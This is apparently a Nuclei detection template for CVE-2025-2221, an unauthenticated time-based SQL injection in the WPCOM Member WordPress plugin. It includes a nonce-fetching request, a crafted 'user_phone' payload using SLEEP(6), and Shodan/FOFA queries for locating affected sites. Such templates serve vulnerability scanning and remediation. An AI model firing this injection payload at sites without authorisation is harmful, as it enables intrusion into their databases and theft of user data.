CVE-2025-2221: WordPress WPCOM Member <= 1.7.6 - SQL Injection

id: CVE-2025-2221

info:
  name: WordPress WPCOM Member <= 1.7.6 - SQL Injection
  author: neosmith1,0x_Akoko
  severity: high
  description: |
   WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
  impact: |
   Attackers can extract sensitive database information, potentially leading to data breach and privacy violations.
  remediation: |
   Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpcom-member/wpcom-member-176-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/browser/wpcom-member/tags/1.7.6/includes/class-sesstion.php#L35
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-2221
    epss-score: 0.01706
    epss-percentile: 0.76127
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: Bastien Ho
    product: wpcom-member
    shodan-query: http.component:"WordPress"
    fofa-query: body="wpcom-member"
  tags: cve,cve2025,wordpress,wp-plugin,sqli,wpcom-member,unauthenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpcom_login_modal&type=login

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'member_form_login_nonce" value="([a-z0-9]+)"'
        part: body
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "member_form_login_nonce")
          - nonce != ""
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 25s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpcom_login&user_phone=1%27+AND+%28SELECT+1+FROM+%28SELECT+SLEEP%286%29%29a%29--+-&sms_code=123456&member_form_login_nonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100be6d7538ebd499fe7cc5e42005cbeb18866e79c3cf0f87d1ce3b0cb5888e6d46022100edb5664f8a542a31a5bc5cec0cf4f75288e6c7f7e59cb3fe8cde493ae3d85724:922c64590222798bb761d5b6d8e72950

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